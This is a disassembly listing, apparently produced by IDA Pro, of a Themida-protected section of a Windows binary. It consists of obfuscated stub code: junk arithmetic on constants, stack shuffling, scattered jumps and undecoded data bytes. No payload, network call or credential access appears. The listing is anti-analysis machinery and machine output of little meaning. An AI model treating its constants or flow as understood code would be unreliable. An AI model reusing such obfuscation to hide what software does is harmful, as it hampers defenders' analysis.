; ---------------------------------------------------------------------------
byte_54ADF1	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:005445F0o
		dd 4EC8350h, 24048F54h,	7CE068h, 24148900h, 4BAh, 24448100h
		dd 17605004h, 60C7E942h, 0AE680000h, 89000016h,	0E589242Ch
		dd 0A685056h, 5809D732h, 490EE9h, 0E9C20000h, 0FFFFCA1Fh
		dd 0C752D3BBh, 0F336E962h, 0E289FFFFh, 4C281h, 0C2810000h
		dd 4, 27F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54AE51:				; CODE XREF: Themida_:0054C8FBj
		mov	ebx, 39456FFEh
		neg	ebx
		xor	ebx, 0B400D95Dh
		sub	esi, ebx
		pop	ebx
		sub	esi, ecx


loc_54AE63:				; DATA XREF: Themida_:0055E388o
		add	esi, 72BA495Fh
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_5446A7
; ---------------------------------------------------------------------------


loc_54AE77:				; CODE XREF: Themida_:0054DDECj
		not	esi
		sub	esi, 41FF6C01h
		shr	esi, 2
		jmp	loc_5501F3
; ---------------------------------------------------------------------------


loc_54AE87:				; CODE XREF: Themida_:0054D138j
		pop	ecx
		pop	ecx
		jmp	loc_548306
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 710756CEh, 8107EEC1h, 2A3598CEh, 0A5F68104h,	89299604h
		dd 0E2C15EF2h, 0BEEA8105h, 0E97FA440h, 0FFFFBBB4h
; ---------------------------------------------------------------------------


loc_54AEB4:				; CODE XREF: Themida_:0054EDF8j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_547D7B
; ---------------------------------------------------------------------------
		dw 0F989h
		dd 0E9E1D15Fh, 0FFFFA72Bh, 7EDC158h, 6FDF581h, 96E928D3h
		dd 87000051h, 895C2434h, 0EC812414h, 4,	0FF9B84E9h, 0E9C521FFh
		dd 0FFFFFB17h, 6EAED81h, 0D5F75637h, 2937E9h, 39B85000h
		dd 0D13D392Bh, 0FFFF05E8h, 0E8C1FFFFh, 16AAE904h, 0C4830000h
		dd 4C48304h, 26850h, 48B0000h, 0EE53E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AF32:				; CODE XREF: Themida_:0054C216j
		mov	[esp], edx
		mov	dl, 0E4h
		xor	dl, 3Ah
		add	ah, dl
		mov	edx, [esp]
		add	esp, 4
		add	ch, ah
		pop	eax
		add	ch, 54h
		xor	al, ch
		pop	ecx
		push	edx
		mov	dl, 7Eh
		or	dl, 83h
		push	eax
		mov	ah, 5Fh
		neg	ah
		sub	ah, 63h
		jmp	loc_5475B6
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5C24048Fh, 98F9E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AF6E:				; CODE XREF: Themida_:0054877Ej
		mov	[esp], eax
		mov	eax, 4
		sub	ebx, 7D351BC9h
		add	ebx, eax
		jmp	loc_5508D4
; ---------------------------------------------------------------------------


loc_54AF83:				; CODE XREF: Themida_:0054F82Fj
		pop	ebp
		push	eax
		jmp	loc_54C44F
; ---------------------------------------------------------------------------
		dw 5B5Dh
		dd 81E28952h, 4C2h, 4EA8300h, 0FFD8E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AF9D:				; CODE XREF: Themida_:00544BAEj
					; Themida_:005478F7j ...
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_545FF6
; ---------------------------------------------------------------------------
		db 53h
		dd 0A4E9F4B3h, 5D000050h, 727B68h, 0A1E0E900h, 0C483FFFFh
		dd 24048704h, 1489665Ch, 9C506624h, 0FFB4AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AFDD:				; CODE XREF: Themida_:0054C422j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5454CC
; ---------------------------------------------------------------------------
		dw 8152h
		dd 42642404h, 0A1E939D4h, 54FFFFCDh, 56241C8Bh,	0BA52E689h
		dd 4, 0FFAB94E9h, 7EFC0FFh, 0E906EFC0h,	5888h
; ---------------------------------------------------------------------------


loc_54B028:				; CODE XREF: Themida_:0054F63Aj
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5509A6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 51240C8Bh, 0C1815954h, 4, 3304E983h,	8AE9240Ch, 53000058h
		dd 0F8315B5Fh, 81243C8Bh, 4C4h,	66C33100h, 6600B60Fh, 661CA568h
		dd 0E9240489h, 0FFFF9ABCh, 55D8295Bh, 0AB5B23BDh, 0DEDEE96Ah
		dd 6866FFFFh, 0C8E90000h, 29000037h, 0F70158C6h, 4BB535Eh
		dd 0E9000000h, 0FFFFBFE2h, 8101EA83h, 6B46FBCAh, 98CE935h
		dd 0FF500000h, 8B042474h, 0C4812404h, 4, 8B24048Fh, 0D3662424h
		dd 0E99C2404h, 0FFFF95D3h, 4C5815Dh, 0E9000000h, 0D5Bh
		dd 0E6895658h, 0FFBB8FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B0E9:				; CODE XREF: Themida_:0054C16Fj
		mov	[esp], ebx
		mov	ebx, 79B01203h
		jmp	loc_54BCE4
; ---------------------------------------------------------------------------


loc_54B0F6:				; CODE XREF: Themida_:005469B1j
		mov	ebx, ebp
		jmp	loc_54640F
; ---------------------------------------------------------------------------


loc_54B0FD:				; CODE XREF: Themida_:0054DA56j
		jmp	loc_547725
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 1967h
; ---------------------------------------------------------------------------


loc_54B108:				; CODE XREF: Themida_:0054F819j
		push	eax
		mov	al, 10h
		inc	al
		jmp	loc_54DFDB
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 83242C8Bh, 0BF5704C4h, 559B5796h, 0D7F7DFF7h, 606DC781h
		dd 0C7816E6Ch, 3BF84802h, 875FF929h, 895C240Ch,	0CCE9242Ch
		dd 2D000031h, 6FE627B1h, 0B971E005h, 0E9575D7Dh, 0FFFFDF4Fh
; ---------------------------------------------------------------------------


loc_54B150:				; CODE XREF: Themida_:00545444j
		sub	ebp, ecx
		pop	ecx
		xor	ebp, 21682694h
		shl	ebp, 2
		jmp	loc_54C1E3
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 4
		dd 531BA524h, 24048114h, 4F6E1D02h, 52240401h, 8904EC83h
		dd 6BBD242Ch, 5633714Ah, 0FC056B68h, 0F6815E5Dh, 21E35202h
		dd 0FFA8CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B191:				; CODE XREF: Themida_:0054A933j
		sub	ecx, 0CC688520h
		and	edi, ecx
		jmp	loc_54D02B
; ---------------------------------------------------------------------------
		dw 3359h
		dd 14312414h, 24143324h, 0E924248Bh, 0FFFFF321h, 8108EDC1h
		dd 20BED2EDh, 8BE80184h, 0C481242Ch, 4,	21968h,	240C8900h
		dd 4976B850h, 53577DAEh, 0DF895B50h, 5FF9895Bh,	0E924048Bh
		dd 1A8Fh
; ---------------------------------------------------------------------------


loc_54B1E4:				; CODE XREF: Themida_:0054C967j
		pop	esp
		mov	[esp], esi
		jmp	loc_544C97
; ---------------------------------------------------------------------------
		db 1, 0F7h, 5Eh
		dd 0C0BF5752h, 0C1114B09h, 0C5E907EFh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B1FF:				; CODE XREF: Themida_:0054DC39j
		pop	edx
		shr	ebp, 5
		dec	ebp
		shl	ebp, 5
		shl	ebp, 6
		shr	ebp, 7
		add	ebp, 0FE7745C4h
		sub	esi, ebp
		pop	ebp
		jmp	loc_54C025
; ---------------------------------------------------------------------------


loc_54B21B:				; CODE XREF: Themida_:0054D171j
		sub	dword ptr [esp], 35C92D93h
		pop	eax
		jmp	loc_54BB01
; ---------------------------------------------------------------------------
		dd 2ED815Bh, 55000000h,	42474FFh, 4592E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B23A:				; CODE XREF: Themida_:0054C0DBj
		pop	ecx
		sub	edi, 55DA6CCAh
		shl	edi, 5
		jmp	loc_54F378
; ---------------------------------------------------------------------------


loc_54B249:				; CODE XREF: Themida_:00545694j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54FF23
; ---------------------------------------------------------------------------
byte_54B259	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00544534o
		dd 17E76824h, 34890000h, 348B5424h, 4C48324h, 673868h
		dd 241C8900h, 468h, 17E95B00h, 81FFFFA8h, 2F71F4C3h, 452BE939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B28A:				; CODE XREF: Themida_:00550CC0j
		add	ebp, 226BC1D6h
		add	esi, ebp
		pop	ebp
		and	eax, esi
		jmp	loc_54A22B
; ---------------------------------------------------------------------------
		dw 0EA83h
		dd 74FF5204h, 8F5A0424h, 895C2404h, 9C502414h, 0FF93F6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B2B1:				; CODE XREF: Themida_:00546AA2j
		and	ebx, 6CB80D92h
		sub	ebx, 0EEC5D936h
		or	eax, ebx
		pop	ebx
		inc	eax
		shl	eax, 5
		xor	eax, 820C567Eh
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0
		sub	ebp, ecx
		push	ecx
		push	ebp
		pop	ecx
		pop	ebp
		pop	ebp
		jmp	loc_54F043
; ---------------------------------------------------------------------------


loc_54B2E3:				; CODE XREF: Themida_:00548878j
		pop	esi
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_54E690
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4C2h, 0D489E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B2FA:				; CODE XREF: Themida_:0054C924j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		jmp	loc_5466B8
; ---------------------------------------------------------------------------


loc_54B315:				; CODE XREF: Themida_:00545D6Bj
		mov	esi, 13641E83h
		xor	esi, ecx
		pop	ecx
		xor	eax, esi
		pop	esi
		push	2B0Eh
		jmp	loc_54F26D
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0E47AC0A8h, 89CF8957h, 0FEE95FF8h, 0FF000005h, 84E92434h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B343:				; CODE XREF: Themida_:00549ACDj
		xor	edi, esi
		pop	esi
		mov	eax, edi
		jmp	loc_550E22
; ---------------------------------------------------------------------------
		db 0B5h, 0E0h, 0F6h
aAWaPaav	db 'Ý€Íw€ÍP€ív',0
		db 0EFh
		dd 0FFBD9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B361:				; CODE XREF: Themida_:00544E4Bj
		add	esi, 2030062Dh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6F9E51FDh
		dec	ebp
		jmp	loc_54E5DD
; ---------------------------------------------------------------------------
		db 89h
		dd 67B9240Ch, 0E946FB60h, 0FFFFA139h, 5124048Bh, 76E9E189h
		dd 5A00001Ah, 0EEEF814Fh, 1118AD2h, 243C8BFEh, 81E68956h
		dd 4C6h, 4EE8300h, 0E9243487h, 3A8Bh, 8159CF29h, 794FBAC7h
		dd 23D5E901h, 1ABA0000h, 81714E05h, 0A85CB2F2h,	8EAC100h
		dd 28C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B3D5:				; CODE XREF: Themida_:0054C2DDj
		push	edx
		mov	edx, 4B000E43h
		sub	edx, 80C0045h
		shr	edx, 5
		xchg	ebx, edx
		not	ebx
		xchg	ebx, edx
		inc	edx
		sub	edx, 0A33722F4h
		add	ecx, edx
		pop	edx
		add	ecx, 4B296BCEh
		pop	edx
		jmp	loc_54636E
; ---------------------------------------------------------------------------


loc_54B400:				; CODE XREF: Themida_:00547796j
		mov	eax, 57A16F4h
		jmp	loc_54DEA3
; ---------------------------------------------------------------------------


loc_54B40A:				; CODE XREF: Themida_:0054CA42j
		add	esi, eax
		pop	eax
		jmp	loc_548C8B
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7830000h, 74FF5704h, 8F5F0424h, 1CE92404h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B42B:				; CODE XREF: Themida_:005449B9j
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_54F1EA
; ---------------------------------------------------------------------------


loc_54B435:				; CODE XREF: Themida_:0054583Cj
		pop	dword ptr [edi+24h]


loc_54B438:				; CODE XREF: Themida_:0054A22Ej
		push	77E7h
		mov	[esp], ebp
		jmp	loc_544C57
; ---------------------------------------------------------------------------
a1XXms		db '1ÅXÑåMé!',9,0
		align 10h
		dd 4EC81h, 0F4E90000h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B45B:				; CODE XREF: Themida_:0054B485j
		push	6633h
		mov	[esp], ebp
		push	6F83h
		mov	[esp], edi
		mov	edi, 0FB22912h
		mov	ebp, edi
		pop	edi
		shr	ebp, 2
		shr	ebp, 2
		xor	ebp, 5F656C1h
		jmp	loc_5461A7
; ---------------------------------------------------------------------------


loc_54B484:				; CODE XREF: Themida_:0054C4DBj
		pop	ebp
		jmp	loc_54B45B
; ---------------------------------------------------------------------------
		dw 73BAh
		dd 566C013Ch, 0FFE5CAE9h
		db 0FFh
byte_54B495	db 66h,	8Bh, 4		; DATA XREF: Themida_:00544594o
		dd 5B545324h, 4B951h, 0CB010000h, 8B2434FFh, 6FE9240Ch
		dd 80FFFFFAh, 0EA80AEF2h, 5AD4287Dh, 0FFEFC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B4BD:				; CODE XREF: Themida_:0054BE97j
		push	2A0C779Ch
		pop	edx
		jmp	loc_548ACE
; ---------------------------------------------------------------------------
		dd 535BE0B8h, 0C5D7E911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B4D2:				; CODE XREF: Themida_:0054A6BEj
		xchg	esi, [esp]
		jmp	loc_550031
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 0E0895024h, 405h, 4BA5200h, 5000000h, 255820BFh, 0BF2DD001h
		dd 5A255820h, 5C240487h, 41F0E953h, 0EA810000h,	229C0FD3h
		dd 148BD389h, 4C48324h,	0FF9192E9h, 5B5453FFh, 4BE56h
		dd 0F3010000h, 6851565Eh, 0FB25158h, 515CBE59h,	0CE310FB2h
		dd 3684E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B535:				; CODE XREF: Themida_:00547E29j
		shr	eax, 18h
		jmp	loc_548475
; ---------------------------------------------------------------------------


loc_54B53D:				; CODE XREF: Themida_:0054D490j
		pop	ebx
		jmp	loc_54E3D4
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BA5208EFh, 1EB9527Ch, 0FFF819E9h, 74C680FFh, 0E9EAB753h
		dd 0FFFFA96Bh, 0DCE9E801h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B563:				; CODE XREF: Themida_:00544B8Cj
		pop	esi
		add	ecx, ebx
		pop	ebx
		push	366Ah
		mov	[esp], edi
		mov	edi, 20521DFDh
		add	edi, 97047F2h
		and	edi, 0F0642F9h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2B0C5212h
		jmp	loc_54D3C7
; ---------------------------------------------------------------------------
		dd 925633BEh, 81EED10Eh, 0A69E0CEh, 4E6C15Dh, 0BF8CBD55h
		dd 0BA52F4B6h, 765D14AEh, 0FFACF3E9h, 31E951FFh, 5EFFFF97h
		dd 0B3E9DE21h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B5BF:				; CODE XREF: Themida_:0054F9DBj
		sub	ecx, 6BEE3277h
		pop	ebp
		sub	ecx, 46C447FAh
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54E8E5
; ---------------------------------------------------------------------------
byte_54B5D9	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:00544564o
		dd 1E6268h, 241C8900h, 0C0BEB151h, 0E18003E9h, 0D2C1801Bh
		dd 45C8E9h, 4C48100h, 5000000h,	57C15AF4h, 48F3E956h, 1C870000h
		dd 24248B24h, 0FFEE35E9h, 7C60B8FFh, 5D0D0169h,	2D269C3Ah
		dd 36073671h, 0C680540h, 88E92BCCh
		db 51h,	2 dup(0)
byte_54B62B	db 66h			; DATA XREF: Themida_:00544508o
		dd 8124048Bh, 4ECh, 24048900h, 5157E089h, 4B9h,	1E95300h
		dd 57000001h, 0FF9222E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B64D:				; CODE XREF: Themida_:00547E92j
		mov	ah, 0D3h
		add	ch, ah
		pop	eax
		mov	dl, ch
		pop	ecx
		mov	ah, dl
		pop	edx
		xor	ah, 6Ah
		push	bx
		mov	bh, 2Ch
		jmp	loc_54C20C
; ---------------------------------------------------------------------------
		dd 1213E981h, 0BD5575D6h, 22153F91h, 2C8BE909h,	4C48324h
		dd 7CE6BA52h, 0DE962CDh
		db 1, 2	dup(0)
byte_54B683	db 66h			; DATA XREF: Themida_:005445ACo
		dd 1CE932FFh
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B68B:				; CODE XREF: Themida_:00548220j
		pop	edx
		jmp	loc_545961
; ---------------------------------------------------------------------------


loc_54B691:				; CODE XREF: Themida_:0054DE77j
		sub	ebp, 57E52486h
		dec	ebp
		jmp	loc_54E83A
; ---------------------------------------------------------------------------


loc_54B69D:				; CODE XREF: Themida_:0054F333j
		xor	ecx, edx
		push	esi
		jmp	loc_5475AC
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 4, 0FFA46BE9h, 30C681FFh, 14E5774h, 30EE81D6h, 0E94E5774h
		dd 0FFFFE46Ch
; ---------------------------------------------------------------------------


loc_54B6C4:				; CODE XREF: Themida_:0054D918j
		sub	ebx, 77516635h
		add	ecx, ebx
		pop	ebx
		push	edx
		push	ebx
		mov	ebx, 5AA07F7Dh
		jmp	loc_54C4D3
; ---------------------------------------------------------------------------


loc_54B6D9:				; CODE XREF: Themida_:0054F0A1j
		pop	esp
		push	ebx
		jmp	loc_54B9FE
; ---------------------------------------------------------------------------


loc_54B6E0:				; CODE XREF: Themida_:0054BE7Cj
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_54FCBF
; ---------------------------------------------------------------------------


loc_54B6F9:				; CODE XREF: Themida_:00550C6Aj
		add	eax, 25CA01C2h
		sub	eax, ebx
		sub	eax, 25CA01C2h
		jmp	loc_5489D4
; ---------------------------------------------------------------------------
		dw 0ABB1h
		dd 0E95AF130h, 0FFFFB470h, 226868h, 24048900h, 0FF8F86E9h
		dd 240433FFh, 3DC2E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B72A:				; CODE XREF: Themida_:00546C95j
		pop	ebx
		jmp	loc_5489F8
; ---------------------------------------------------------------------------
		dd 50243C8Bh, 405E089h,	5000000h, 4, 0E9240487h, 0FFFFB1EAh
		dd 0DF89CB89h, 0F801595Bh, 0E9243C8Bh, 0FFFFD332h, 0E9240433h
		dd 0FFFFEF7Bh, 375BD55h, 0E5C100C0h, 50716805h,	14890000h
		dd 6A9BA24h, 24E96DD3h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B77B:				; CODE XREF: Themida_:00548822j
		push	3975h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_54D064
; ---------------------------------------------------------------------------
		dd 198EF281h, 0FDE9138Eh, 88000042h, 0FE5866C6h, 0B0E680CEh
		dd 8803EE80h, 0E0E95AF5h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B7AF:				; CODE XREF: Themida_:005474BEj
		mov	[esp], ecx
		jmp	loc_54E320
; ---------------------------------------------------------------------------
		db 1
		dd 0EA295BDDh, 51C2015Dh, 1F14E9h, 0EDC14500h, 7E5C107h
		dd 4166E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B7D1:				; CODE XREF: Themida_:0054AC72j
		xor	edx, 59F82877h
		neg	edx
		shr	edx, 3
		sub	edx, 16524629h
		xor	edx, 5A5EC9AEh
		jmp	loc_548105
; ---------------------------------------------------------------------------


loc_54B7ED:				; CODE XREF: Themida_:00547D92j
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54C2D5
; ---------------------------------------------------------------------------


loc_54B7FD:				; CODE XREF: Themida_:0054B986j
		pop	eax
		mov	ecx, [esp]
		push	eax
		jmp	loc_550876
; ---------------------------------------------------------------------------


loc_54B807:				; CODE XREF: Themida_:005484E9j
		pop	eax
		jmp	loc_54F185
; ---------------------------------------------------------------------------
byte_54B80D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00544410o
		dd 1F66E924h, 0FD090000h, 0E6ED815Fh, 557FF578h, 0CF00D3BDh
		dd 1AED817Dh, 0E90C68B3h, 1946h, 0C1814949h, 1,	1DD1E981h
		dd 0F2E93156h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B843:				; CODE XREF: Themida_:0054D3D4j
		shl	ecx, 6
		shr	ecx, 7
		sub	ecx, 0A886972h
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_54DE3D
; ---------------------------------------------------------------------------
		db 0BBh, 0B1h, 53h
		dd 0E4E95AC1h, 81000015h, 64275BC2h, 81F2291Fh,	64275BEAh
		dd 30E95E1Fh, 57FFFF8Eh, 42474FFh, 81243C8Bh, 4C4h, 24048F00h
		dd 6624248Bh, 66240C89h, 66C8B60Fh, 0CE99C51h, 28FFFF8Eh
		dd 4492CD0h, 0DADEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B8A6:				; CODE XREF: Themida_:0054840Aj
		pop	ecx
		xor	eax, ecx
		pop	ecx
		xor	eax, 60A62A91h
		shr	eax, 8
		jmp	loc_545C80
; ---------------------------------------------------------------------------
byte_54B8B7	db 0ADh			; DATA XREF: Themida_:00544550o
		dd 1AA005h, 56D8295Fh, 4800E9h
		db 0
byte_54B8C5	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:005445D4o
		dd 4EC81h, 0E90000h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B8D3:				; CODE XREF: Themida_:005455F2j
		add	esp, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_5486FB
; ---------------------------------------------------------------------------
		dw 0C885h
		dd 8DB5E99Ch
		db 2 dup(0FFh)
word_54B8F2	dw 8B66h		; DATA XREF: Themida_:005444D8o
		dd 10E92404h, 89FFFFA9h, 9BB9E9D0h, 0D101FFFFh,	6EF1815Ah
		dd 0E9C59E8Bh, 16B2h, 8B240433h, 0F662424h, 70E9C8AFh
		dd 8100001Eh, 4C3h, 4C38100h, 33000000h, 1C31241Ch, 241C3324h
		dd 0FF91AEE9h, 2434FFFFh, 4C48159h, 1000000h, 8B042444h
		dd 0C4832404h, 8D55E904h, 815EFFFFh, 4C4h, 2C28100h, 87000000h
		dd 0E95C2414h, 0FFFFC26Dh, 0E92434FFh, 2E0Dh, 590EE952h
		dd 0E95A0000h, 0FFFFC86Dh
; ---------------------------------------------------------------------------


loc_54B97C:				; CODE XREF: Themida_:0054ED3Dj
		push	eax
		mov	eax, 37E21120h
		xor	[esp+4], eax
		jmp	loc_54B7FD
; ---------------------------------------------------------------------------
		db 5Bh
		dd 5C24048Fh, 9C2424D3h, 0FF8D0EE9h, 242C89FFh,	42474FFh
		dd 56242C8Bh, 24348B54h, 0FFD092E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54B9AD:				; CODE XREF: Themida_:005451A5j
		neg	ecx
		add	ecx, 2D1C617Ah
		jmp	loc_548653
; ---------------------------------------------------------------------------
		dw 0E681h
		dd 3B2D5B13h, 339ECE81h, 0F6815D28h, 65AF6E27h,	0E24CC681h
		dd 0F001E57Dh, 8124348Bh, 4C4h,	4C08300h, 2474FF50h, 48F5804h
		dd 89515C24h, 4C181E1h,	81000000h, 4E9h, 18CFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B9FE:				; CODE XREF: Themida_:0054B6DBj
		mov	ebx, 5F0D1484h
		add	ebx, 7BB4741Bh
		add	ebx, 9D89E37Ch
		shl	ebx, 8
		push	esi
		jmp	loc_544809
; ---------------------------------------------------------------------------
		dd 51F7815Eh, 811B8847h, 0AF6F52CFh, 0F7E7D17Ch, 47D7F7DFh
		dd 0FFFFEF81h, 0C781FFFFh, 1773A12Ch, 41695D05h, 2F56E93Eh
		dd 0C2810000h, 426B4482h, 5C3CB951h, 5AE957C0h,	54000028h
		dd 0D9E9555Fh, 0C1000009h, 0E94E03E6h, 0FFFFEC96h
; ---------------------------------------------------------------------------


loc_54BA64:				; CODE XREF: Themida_:00547FEAj
		add	ebx, esi
		jmp	loc_54E168
; ---------------------------------------------------------------------------
		db 5Ah
		dd 1C8BDD31h, 4C48324h,	0B1C5814Dh, 8178F41Ah, 0B16FB3C5h
		dd 3906E911h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54BA86:				; CODE XREF: Themida_:0054F473j
		xor	ebx, eax
		jmp	loc_54F20A
; ---------------------------------------------------------------------------


loc_54BA8D:				; CODE XREF: Themida_:00547216j
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4D56353Ah
		not	edx
		and	edx, 3365BACh
		xor	edx, 2204A80h
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ebp, 0E43B979Dh
		sub	ebp, 54550EBBh
		add	ebp, edi
		add	ebp, 54550EBBh
		jmp	loc_54C83B
; ---------------------------------------------------------------------------
		dd 0DAE9E689h, 81FFFFA2h, 0E023B6C5h, 0EA015A3Ah, 4C2815Dh
		dd 87000000h, 0D35C2414h, 0A8E92424h, 89000000h, 4C581E5h
		dd 81000000h, 4C5h, 242C8700h, 0FF9926E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BB01:				; CODE XREF: Themida_:0054B223j
		add	eax, 35C92D93h
		pop	ecx
		xor	eax, edi
		pop	edi
		or	eax, 298008BCh
		shl	eax, 4
		push	esi
		mov	esi, 0D2C8A123h
		jmp	loc_546055
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 68000000h, 70EFh, 0E9241C89h, 0FFFFBAFBh, 815AD301h
		dd 2C3h, 241C3300h, 33241C31h, 6DE9241Ch, 1FFFFC7h, 14335BDAh
		dd 24143124h, 0E9241433h, 0FFFFC15Ah, 815DE901h, 4ECh
		dd 241C8900h, 2BE56h, 0F3890000h, 0E227E95Eh, 429FFFFh
		dd 3D685224h, 5A499D64h, 4244481h, 7BEA10B0h, 4245401h
		dd 10B0BD55h, 0C2E97BEAh, 0E9000040h, 0FFFF8B0Fh
; ---------------------------------------------------------------------------


loc_54BB98:				; CODE XREF: Themida_:00548811j
		add	ecx, edx
		pop	edx
		xor	ecx, edi
		pop	edi
		xor	ecx, eax
		mov	eax, [esp]
		jmp	loc_54E787
; ---------------------------------------------------------------------------
		dd 7A06BEh, 8E6C103h, 3E6C14Eh,	0FE58C681h, 0F3291485h
		dd 8124348Bh, 4C4h, 0E9008F00h,	0FFFF8ADBh
; ---------------------------------------------------------------------------


loc_54BBCC:				; CODE XREF: Themida_:0054A8E3j
		mov	ecx, ebp
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_550B68
; ---------------------------------------------------------------------------


loc_54BBE0:				; CODE XREF: Themida_:0054F270j
		push	42E5h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0BBA3FFFh
		mov	edi, 2780A862h
		sub	edi, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_547215
; ---------------------------------------------------------------------------


loc_54BC14:				; CODE XREF: Themida_:0054BFBDj
		add	esp, 4
		push	ebx
		jmp	loc_546C31
; ---------------------------------------------------------------------------
		dd 4C481h, 0EE810000h, 84ED4753h, 0FFEBF4E9h, 0C4835BFFh
		dd 0F2A9E904h, 0D15EFFFFh, 3EDC1EDh, 6D6CC581h,	0C5817329h
		dd 8A6B5BF3h, 2C8BE901h, 4C48124h, 33000000h, 0C31240Ch
		dd 240C3324h, 6624248Bh, 2404AB0Fh, 8A39E99Ch, 0C481FFFFh
		dd 4, 81E18951h, 4C1h, 1EBBE900h, 0ED810000h, 4, 0E9242C87h
		dd 0E77h, 8924248Bh, 0EC83241Ch, 0DF34E904h, 9B7FFFFh
		dd 885BF988h, 2434FFCBh, 0FFBDA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BCAD:				; CODE XREF: Themida_:00548B64j
		pop	eax
		jmp	loc_55058B
; ---------------------------------------------------------------------------


loc_54BCB3:				; CODE XREF: Themida_:005475B1j
		xor	esi, 0A492D2D8h
		sub	ecx, esi
		jmp	loc_54797D
; ---------------------------------------------------------------------------


loc_54BCC0:				; CODE XREF: Themida_:0054E335j
		mov	ebx, 5D4E6AB5h
		xor	ebx, 5D4E6AB1h
